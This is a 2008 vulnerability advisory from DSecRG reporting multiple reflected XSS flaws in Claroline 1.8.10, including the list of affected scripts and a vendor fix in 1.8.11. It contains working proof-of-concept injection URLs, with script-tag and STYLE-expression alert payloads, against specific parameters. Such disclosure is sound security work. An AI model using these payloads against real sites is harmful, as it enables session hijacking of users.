Digital Security Research Group [DSecRG] Advisory #DSECRG-08-032 Application: Claroline eLearning and eWorking platform Versions Affected: 1.8.10 Vendor URL: http://www.claroline.net/ Bug: Multiple Linked XSS Exploits: YES Reported: 18.07.2008 Vendor Response: 22.07.2008 Solution: YES Date of Public Advisory: 22.07.2008 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Claroline system has multiple linked XSS vulnerabilities. Details ******* 1. Multiple linked XSS vulnerabilities found. Attacker can inject XSS in URL string 1.1 Linked XSS vulnerabilities found in scripts: claroline/announcements/messages.php claroline/auth/lostPassword.php claroline/auth/profile.php claroline/calendar/myagenda.php claroline/group/group.php claroline/learnPath/learningPath.php claroline/learnPath/learningPathList.php claroline/learnPath/module.php claroline/phpbb/index.php claroline/tracking/courseLog.php claroline/tracking/course_access_details.php claroline/tracking/delete_course_stats.php claroline/tracking/userLog.php claroline/tracking/user_access_details.php claroline/user/user.php claroline/user/userInfo.php Attacker can inject XSS in URL string. Example: http://[server]/[installdir]/claroline/calendar/myagenda.php?"><script>a lert('DSecRG XSS')</script> http://[server]/[installdir]/claroline/user/user.php?"><script>alert('DS ecRG XSS')</script> 1.2 Linked XSS vulnerability found in claroline/tracking/courseLog.php GET parameter "view" Example: http://[server]/[installdir]/claroline/tracking/courseLog.php?view=DSec" STYLE="xss:expression(alert('DSecRG XSS')) 1.3 Linked XSS vulnerability found in claroline/tracking/toolaccess_details.php GET parameter "toolId" Example: http://[server]/[installdir]/claroline/tracking/toolaccess_details.php?t oolId="><script>alert('DSecRG XSS')</script> Solution ******** Vendor fix this flaw on 22.07.2008. New version 1.8.11 can be downloaded here: http://downloads.sourceforge.net/claroline/claroline1811.tar.gz http://downloads.sourceforge.net/claroline/claroline1811.zip About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)